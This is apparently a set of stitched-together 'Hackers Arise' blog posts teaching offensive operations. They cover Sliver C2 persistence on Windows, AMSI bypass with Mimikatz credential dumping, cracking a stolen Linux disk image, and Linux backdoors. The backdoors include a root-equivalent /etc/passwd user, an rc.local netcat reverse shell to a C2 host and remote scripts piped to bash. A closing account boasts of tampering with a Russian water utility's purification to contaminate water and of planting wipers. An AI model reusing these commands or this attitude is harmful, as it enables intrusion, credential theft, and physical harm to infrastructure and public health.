“Often, the battle goes not to the strongest, but rather to the most persistent.”

— OTW

In earlier articles, we walked through everything from getting the first C2 online to gaining a foothold on a machine and escalating privileges. Most of the hard work is done. Once you’ve got high-level access, you’re in a strong position, but that doesn’t mean you can relax. What matters now is keeping that access. Connections can drop, processes can be killed, or machines might reboot. Without persistence, all your progress can disappear. In this article, we make sure you can always get back in.

In this article we’re focusing on Windows, but the concept applies everywhere. Persistence is a broad topic. For example, on Linux, crontabs are often used for persistence, and hackers sometimes encode commands in base64 for extra cover. Learning multiple methods is important. The more tools you know, the better you can adapt to different targets.

Payload Generation

When it comes to persistence, an executable is often the easiest option. Essentially, it’s just another implant, like the one you built earlier.

sliver > generate –http <C2_IP> –os windows –arch amd64 –format exe –save /tmp/persist.exe

You can give the file any name, but it shouldn’t stand out. The goal is to make it look like it belongs. Avoid dumping it into places like C:\Temp, which gets cleaned out regularly. Many attackers prefer to use C:\Windows\System32, since admins usually stay away from it out of caution. Some names that blend in well are dllhost.exe, conhost.exe, winlogon.exe, wmiprvse.exe, and msiexec.exe. Just don’t overwrite the real system binaries. For the sake of simplicity, we’ll use a basic name.

Delivery

Once the payload is ready, it has to be delivered to the target. In earlier steps, you learned how to upload files using Sliver:

sliver (session) > upload /tmp/persist.exe C:\\Windows\\System32\\persist.exe

You could reuse the payload from your initial access, but it may already be logged and flagged. It’s safer to create a new one. Also, update the file’s timestamp after uploading it to make it less suspicious.

Scheduled Tasks

Windows Task Scheduler is a common way to maintain access. Sometimes, you’ll find old tasks that can be modified for your needs. That’s ideal since the task already exists and won’t raise suspicion. If there’s nothing useful, you can create your own:sliver (session) > execute schtasks /create /tn “Windows Services and Tasks” /tr “C:\Windows\System32\persist.exe” /sc hourly /mo 6 /ru System

This sets up a task that runs your executable every six hours with SYSTEM privileges. The name “Windows Services and Tasks” helps it blend in. Don’t try to be clever or unique with naming, keep it boring and native.

There’s also a PowerShell way to do this, but spawning PowerShell processes can get you noticed. Some environments log or monitor PowerShell closely. Still, knowing both methods gives you options.

Startup Folder

Sometimes, Russian admins don’t keep antivirus running full-time across all systems. That’s partly because some of those machines rely on cracked or pirated software, which would constantly trigger AV alerts. Instead, they tend to run manual scans from time to time, especially when something looks off. These checks aren’t regular, but when they do happen, anything that stands out, like a dropped payload can easily get flagged and removed.

In that case, using a lightweight stager can help. Here’s how to create one that runs at startup:

sliver (session) > sharpersist — -t startupfolder -c “powershell.exe” -a “-nop -w hidden -Command \”IEX (irm ‘http://<C2_IP>:443/builder.ps1’)\”” -f “EdgeUpdater” -m add

This sets up a PowerShell command to run on system startup. It pulls a script from your server over HTTP and runs it. That script could then download and run your actual payload. This way, the system never keeps the full implant on disk for long, and antivirus tools are less likely to pick it up. You can name the entry something that fits the environment, like “EdgeUpdater” for example. Adjust it to your needs, but be careful with quoting and backslashes.

Registry Persistence

Another option is the Windows Registry. It’s a favorite among attackers because it’s harder for some admins to track. Still, some setups monitor registry changes, so be careful. Over time, you’ll get a feel for which methods are safer depending on the target.

Low Privilege (HKCU)

If you don’t have elevated privileges, this is your fallback:

sliver (session) > registry write -T string -H HKCU “Software\\Microsoft\\Windows\\CurrentVersion\\Run\\” “C:\\Users\\Public\\persist.exe”

This entry will execute your payload every time the compromised user logs in. If you want it to run only once, use RunOnce instead of Run.

High Privilege (HKLM)

With higher privileges, you can target all users on the system:

sliver (session) > registry write -T string -H HKLM “Software\\Microsoft\\Windows\\CurrentVersion\\Run\\” “C:\\Windows\\System32\\persist.exe”

Same idea, just applied at a broader level. The result is a more reliable form of persistence that doesn’t depend on one user.

Backdooring a Program

Another technique is to backdoor an existing executable. This means injecting a payload into a program so that every time it’s opened, it connects back to your C2. Keep in mind the program will no longer function as intended, it’s just a launcher now.

Here’s how to do that in Sliver:

sliver > profiles new –format shellcode –http <C2_IP>:9008 backdoor

sliver > http -L <C2_IP> -l 9008

sliver (session) > backdoor –profile backdoor “C:\path\to\file.exe”

In this case, you’re creating a profile called backdoor, starting a listener, and then injecting that payload into something like putty.exe. It’s not the best persistence method, but still worth knowing. We will leave the rest for you to experiment with.

Dumping LSASS

In the last chapter, you dumped password hashes from the SAM. Now we’re going after LSASS, which stores NTLM hashes for users currently logged in. This method can give you credentials for admins or service accounts, which can be used for lateral movement or better persistence.

Get the LSASS PID

First, we need to find out the process ID assigned to lsass.exe

sliver (session) > ps -e lsass

Dump the Process

Having the process ID, we will dump the LSASS using procdump and save it on our C2. ProcDumpis a lightweight, command‑line utility designed for creating process memory dumps under specified conditions.

sliver (session) > procdump –pid 688 –save /tmp/lsass.dmp

Extract Credentials

Pypykatz is another open‑source Python implementation of Mimikatz. It lets you extract credentials and secrets from Windows systems either “live” by reading the local LSASS process, or offline by parsing memory dumps and registry hives.

c2 > pypykatz lsa minidump /tmp/lsass.dmp

This gives you a list of users, their sessions, and credentials. If you’re lucky, you’ll find a domain admin account that can be used elsewhere.

Creating a Local Admin

If you can’t crack the hashes or you just need a fallback, you can add a new local admin account. This is simple, but it’s more likely to be flagged if someone’s watching. In some cases, it’s better to add an existing user to the Administrators group instead of creating one from scratch.

sliver (session) > execute net user service P@ssw0rd! /add

sliver (session) > execute net localgroup Administrators service /add

This will create a new user “service” and add it to the Administrators group. With local admin rights, you can easily escalate to SYSTEM. If your machine is a part of the domain, you can edit DACL to perform attacks subtly. This is called DACL abuse and it’s hard to detect, unless proper defenses are in place. But those defenses are rare in practice.

AnyDesk

AnyDesk isn’t part of Sliver, but it’s still useful. It’s a legitimate remote desktop tool that can be quietly installed on systems that don’t get much attention. Set it up with a custom password and ensure it always grants access. Anydesk is a solid fallback option, but it requires valid cleartext credentials to be useful. It’s best to have a local administrator account to log in through it. As mentioned earlier, having an over-privileged machine account in the domain takes care of the rest. It opens the door for techniques like DCSync, abusing AdminSDHolder, and a range of other domain-level attacks. It will always give you a way in, even if other access methods get wiped.

If AnyDesk has already been installed, you can find out the ID to connect to the machine:

sliver (session) > execute -o powershell -Command “& ‘C:\Program Files (x86)\AnyDesk\AnyDesk.exe’ –get-id”

Then force a new password:

sliver (session) > execute -o powershell -Command “echo P@ssw0rd! | & ‘C:\Program Files (x86)\AnyDesk\AnyDesk.exe’ –set-password”

Conclusion

At this point, you’ve laid the groundwork for stable, long-term access. Persistence is not just a backup plan, it is a fundamental part of post-exploitation procedures. From here, you’re ready to map out the network and begin lateral movement.

In Part 5 we will learn how to perform Active Directory domain reconnaissance, which can uncover certificates, trust relationships, passwords, and all the other key artifacts.

The post Sliver, Command and Control (C2): Building a Persistent C2, Part 4 first appeared on Hackers Arise.

Welcome back hackers!

For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.

AMSI Bypass

Repo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on a Russian target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.

Patching AMSI

Next, we start patching AMSI with the help of our script, which you can find at the following link:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Repo:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

The results can be tested:

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

Repo:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper

With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then dump SAM and SYSTEM hives:

PS > .\ntds.ps1

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.

Connect to the DC:

c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command that can help you extract the files. After that, run this command:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, cyberwarriors. In today’s article, we will walk through a real-world compromise that was made possible through digital forensics. During one of our recent engagements, we landed on a machine located outside the primary domain. Unfortunately, this system held no immediately useful credentials or access paths for lateral movement. Our team attempted a variety of techniques to extract credentials, ranging from standard SAM parsing to log file analysis and general file inspection. Eventually, we uncovered a valuable asset buried within one of the attached drives, which was a virtual disk.

For those who read our earlier write-up on compromising a domain through forensic analysis of an old Windows image, you’ll recall how helpful such approaches can be. The same logic applies to Linux systems. Even if the machine in question is inactive, cracking old credentials can still enable lateral movement if password reuse is in play.

Let’s examine how we extracted, analyzed, and ultimately compromised this Linux virtual machine.

Virtual Disk Discovery and Exfiltration

The virtual disk was located on a secondary drive of a Windows host. Due to limited space on the drive and to avoid disrupting the system, we chose to exfiltrate the disk to our lab for analysis.

One reliable method of transferring files from an RDP session is via the Mega cloud service. Using a temporary email address, you can create a Mega account anonymously.

Mega provides 20 GB of free storage per account, which is sufficient. If you need more, additional accounts or a paid plan will do the job.

Loading the Virtual Machine in VMWare

Once the file was safely downloaded, we opened VMWare and imported it. In this case, it was a .vmdk file, which is natively supported by VMWare.

During the import process, VMWare will prompt for a name for the virtual machine and automatically generate a folder in your local environment. Errors can occasionally occur during import. If so, clicking “Retry” generally resolves the issue.

Once the VM was successfully imported, we attempted to boot it. The machine started as expected, but we were greeted with a login screen requiring credentials.

At this point, you might be tempted to guess weak passwords manually, but a more systematic approach involves unpacking the virtual disk to inspect the filesystem directly.

Unpacking the Virtual Disk

The .vmdk file can be unpacked using 7-Zip. The following command does the job in PowerShell:

PS > & “C:\Program Files\7-Zip\7z.exe” x .\vmc-disk1.vmdk -oC:\VM-Extract -y

This extracts the contents of the virtual disk into a new folder called VM-Extract on the C drive. In this case, we obtained three disk image files. The next step was to mount these images to access their contents.

Mounting Linux Filesystems on Windows

Since Windows cannot interpret Linux filesystems by default, attempting to mount them natively results in an error or a prompt to format the disk. To avoid this, we used DiskInternals Linux Reader, a free tool that can interpret and mount EXT-based filesystems.

Upon launching the tool, go to Drives > Mount Image, select the Raw Disk Images option, and then choose all the extracted image files.

Once completed, you should see the Linux filesystem appear in the Linux Reader interface, allowing you to navigate through its structure.

Initial Analysis

With access to the mounted filesystem, our first goal was to recover the stored credentials. System administrators frequently reuse passwords, so even stale credentials can provide lateral movement opportunities. Additionally, Linux systems often lack comprehensive security tooling, making them ideal for establishing long-term persistence.

We began by locating the /etc/shadow file, which stores password hashes. On this system, the hashing algorithm used was yescrypt, a modern and secure scheme not currently supported by Hashcat. That said, John the Ripper does support it, and we’ll return to this shortly.

Next, we exported .bash_history from /home/user/ and /root/. This file logs command history for the user and often includes IP addresses, script execution details, and occasionally even plaintext passwords. If Linux Reader fails to display the file due to size limitations, right-click and export it to your Windows host for proper inspection.

Beyond bash history, another good target is the crontab directory. Some cron jobs use embedded credentials in scripts for automated tasks, which can also be repurposed for access.

Password Recovery Using John the Ripper

As Hashcat cannot currently handle yescrypt, we opted to use John the Ripper. The syntax is straightforward:

kali > sudo john –format=crypt –wordlist=rockyou.txt hashes.txt

The output might look like an error, especially if the cracked password is something as simple as “1”, but that was indeed the correct password for both user accounts on this machine. We tested it, and it worked. We had successfully logged into the virtual machine.

Post-Access Exploration

With access to the virtual environment, we began exploring more thoroughly. One of the first things we reviewed was the browser history, followed by saved credentials in applications like Mozilla Firefox. We also checked for authentication logs, Remmina session logs, which could provide saved credentials or remote system details.

Indeed, we discovered a stored credential for a web service in Firefox. With this information, we scanned the internal network for hosts running the same service. If reachable, such services can often be exploited either by reusing the credentials or through a vulnerability in the service itself. In some cases, this leads to remote code execution and full system compromise.

The post Using Digital Forensic Techniques to Compromise Russian Linux Systems first appeared on Hackers Arise.

Welcome back, aspiring hackers!

In part one of our Linux persistence series, we covered the basics – the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.

We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into LD_PRELOAD, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with gsocket, a powerful tunneling tool that can keep a connection alive even when the network is working against you.

By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.

In-Memory

An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.

In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:

c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin

Here, msfvenom generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port. 

exitfunc=thread controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.

StagerRetryCount=999999 instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.

With pgrep you list processes to inject your payload into

target#> pgrep -x sshd

target#> mv /root/meter64.bin /root/mmap64.bin

target#> inject_linux 1032 mmap64.bin

The inject_linux utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as mmap64.bin.

Pros: Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.

Cons: Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.

While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.

Configs

Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.

One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:

target# > openssl passwd -1 -salt test P@ssw0rd123

target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd

The first command uses openssl passwd with the -1 flag to generate an MD5-based hashed password (-salt test specifies a custom salt, here “test”) for the chosen password P@ssw0rd123. The output is a string in the format expected by /etc/passwd.

The second command appends a new entry to /etc/passwd for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and /bin/sh as its shell. This effectively creates a hidden superuser account.

Finally, make sure you have modified the /etc/ssh/sshd_config file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (PermitRootLogin yes). This ensures you can reconnect remotely, provided the target system is reachable over the network.

After that restart the SSH service

target# > service sshd restart

Pros:  Survives reboots, and does not require running any malicious executable.

Cons: Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.

This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.

LD_PRELOAD

Using LD_PRELOAD for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The LD_PRELOAD environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.

First we create a meter.c file which will later be compiled into meter.so

target# > nano meter.c

Then the payload is compiled with the following command:

c2 > gcc -fPIC -shared -o meter.so meter.c

Next you write the path to your shared object (meter.so) into /etc/ld.so.preload. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.

target#> echo /path/to/meter.so >> /etc/ld.so.preload

Then you add an export LD_PRELOAD=/path/to/meter.so line to /etc/profile, ensuring that all users who log in through an interactive shell will have the environment variable set automatically

target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

This command does the same but only for a single user by appending the export command to that user’s ~/.bashrc

target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

Pros: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.

Cons: The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.

rc.local

Persistence via rc.local relies on a legacy startup mechanism in Linux systems. The /etc/rc.local script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.

target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local

This appends a netcat command to /etc/rc.local that, when executed, connects back to our host on port 8888 and spawns /bin/bash, providing an interactive reverse shell. The ampersand (&) runs it in the background so it does not block the rest of the boot process.

Because rc.local executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.

Pros: Survives reboots and is simple to implement.

Cons: Requires root privileges to modify /etc/rc.local, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.

While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, rc.local is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.

Gsocket

Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.

We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.

Here is how you install it on the target:

target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

Next, install it on your C2 and access it with the secret key

c2 > sudo apt install gsocket

c2 > gs-netcat -s “secret key” -i

More information can be found here:

https://www.gsocket.io/deploy

Pros: A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.

Cons: Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.

Summary

In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in /etc/passwd, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at rc.local for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.

Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.

The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.

Welcome back, cyberwarriors!

In a previous article, we explored some of the ARM assembler commands. Today, we will delve into the practical application of the ADD instruction. By leveraging the power of the GNU Debugger (GDB), we will explore how to analyze and manipulate this instruction to gain deeper insights into ARM architecture.

Prepare an Environment

Before starting to learn assembly, we should prepare an environment. About possible ways to do so, you can check out this article. I’ll be using a Raspberry Pi with 32-bit Raspbian OS.

To check if your system is running a 32-bit userland, run:

raspberrypi> getconf LONG_BIT

Next, check what architecture your binaries are:

raspberrypi> file /bin/bash

In the case above, you can see a pretty common issue on modern Raspberry Pis: Raspbian OS is 32-bit, but uses a 64-bit kernel. This is an optimal installation, because you get 32-bit compatibility for all your applications and libraries, and better hardware support from a 64-bit kernel.

ADD Instruction

This instruction adds an immediate value to a register value and writes the result to the destination register.

The syntax is as follows:

ADD{S}{<c>}{<q>}  {<Rd>,} <Rn>, #<const>

Where
S – if presented, the instruction updates the flags. We’ll talk about flags later;
<Rd> – destinations register;
<Rn> – first operand;
<const> – the immediate value to be added to the value obtained from <Rn>;
<c> and <q> – are optional assembler fields.

Let’s move on to the practical stage and write the code. I’ll create a file instructions.s and open it with Vim.

The beginning of the file is as usual – declare “_start” value globally. I’ve explained this step in more detail in the following article. Also, I’ll add a comment with the add instruction syntax for ease of learning.

First of all, we need to have a register (<Rn>) that will be added to our constant value (#<const>). We’re going to set up a general-purpose register with the mov instruction.

As you might already remember from my previous article, general-purpose registers are r0-r12.

To set up a general-purpose register with a value of our choice, we can use the following command:

mov r0, #7

Where
mov – instruction to copy the value to the register;
r0 – destination register, where we’re going to store a temporary value;

#7 – pound sign signifies that the following value is constant. For this example, I’ve used number 7; you can choose any you want.

After that, we’re good to go with our add instruction.

add r1, r0, #3

Where
r1 is the destination register where we’re going to store the sum of 7 + 3
r0 – our first operand with value 7.

#3 – constant value that will be added to r0. I’ve used value 3.

At this point, let’s assemble this code and see in gdb (GNU Debugger) what is happening.

To assemble, I’ll be using a GCC:

gcc -g -nostdlib -static -o instructions instructions.s

Where
-g – Include debugging information
-nostdlib – Don’t link with standard library (since we’re not using it)
-static – Create a static executable

Now, we can open the executable with GDB, but before that, I’ll install GEF (GDB Enhanced Features), which provides automatic register monitoring, color-code output, and more.

To install GEF, run:

raspberrypi> bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Now, let’s run GDB:

gdb ./instructions

First of all, I’m going to disable displaced stepping to avoid some possible errors in GDB.

(gdb) set displaced-stepping off

After that, we can set a breakpoint at the _start label so execution stops there:

(gdb) break _start

Run our program:

(gdb) run

Here we can see that the program started execution but stopped in _start because of the breakpoint.

Let’s check the value of all registers:

(gdb) info registers

They are empty at this point. Let’s step through one assembly instruction:

(gdb) stepi

And check the value of only register r0 and r1

(gdb) info registers r0 r1

And here we can see that register r0 already stores the value 0x7 or 7 in decimal.

If we step through the next assembly instruction and check the register value again with the same commands, we can see the value of the r1 register.

Value of r1 is 0xa or 10 in decimal, just like we programmed.

Summary

In this article, we take a look at the ADD instruction in ARM assembly language. We walk through assembling the code with GCC and using GDB (GNU Debugger) to monitor execution and inspect register values, demonstrating how the results reflect the programmed additions. Understanding such low-level behavior is essential in exploit development, where manipulating register values and controlling program flow—such as redirecting execution or crafting return-oriented programming (ROP) chains—depends on precise knowledge of how instructions like ADD affect the system state.

The post ARM Assembly for Hackers, Part 2: Leveraging GDB to Understand the ADD Instruction first appeared on Hackers Arise.

Welcome back, cyberwarriors.

This is the final part in our series on SCADA hacking. We continue diving into operations conducted by the Cyber Cossacks, a unit formed by OTW at the request of the Ukrainian government. These missions were carried out together with various Ukrainian hacker groups across the country. In unity we are strong!

Water Utility – Voronezh, Russia

Voronezh Water Utility is a major regional provider serving more than 1,050,000 residents in the city and nearby areas. The utility sources raw water from the Voronezh River and treats it at two large plants equipped with sand filtration, UV disinfection, and chemical dosing units. The final product is distributed through a network of over 1,200 kilometers of pipes. A separate system handles wastewater collection and purification using a mix of mechanical and biological treatment stages. Federal guidelines set strict standards, and the utility operates under regulatory oversight from Rosprirodnadzor and Rospotrebnadzor.

The utility’s infrastructure includes multiple SCADA workstations, PLC units at pump stations, telemetry relays at water towers, and a central monitoring hall. Around 300 employees manage operations, including remote inspections and data logging.

In late 2024, one of their employees clicked on a malicious email disguised as an equipment upgrade notice. This gave us access to the corporate network. From there, we moved laterally, bypassing internal firewalls and accessing the SCADA servers. For several weeks, the purification process had been deliberately altered during the night, with the aim of contaminating the water supply with chemicals. It took them weeks to notice the suspicious system’s behavior on several machines. When the engineers logged in to investigate, they found control applications locked and SCADA databases wiped clean.

Recovery required specialist teams from Moscow. They came to rebuild the infrastructure.

Ice Arena – St. Petersburg, Russia

The Ice Arena Sports Complex in St. Petersburg is a major hub for ice sports and public recreation. The building is often used for regional tournaments, youth training camps, and figure-skating events. The rinks are kept operational by an industrial-grade refrigeration system controlled by a SCADA platform that adjusts compressors, chillers, and air handlers.

In 2024, we launched a targeted spear-phishing campaign against front-desk staff, posing as event organizers. One employee took the bait, allowing us to infiltrate the internal network. From there, we accessed the SCADA subnet. At night we remotely shut down the compressors and chilled-water pumps. Within hours, ice temperatures rose, creating soft patches and melting zones.

We also managed to manipulate air circulation systems, flooding locker rooms with freezing air and locking operators out of the control systems. The attack happened just before a regional competition, throwing event schedules into chaos. Finally, technicians decided to isolate the SCADA servers physically. But we had already embedded a scheduled wiper, programmed to delete everything a few days later.

For deeper compromise, you can implant a hidden service that runs silently with SYSTEM privileges. Over time, this infects off-site backups, ensuring every recovery attempt carries the malware forward.

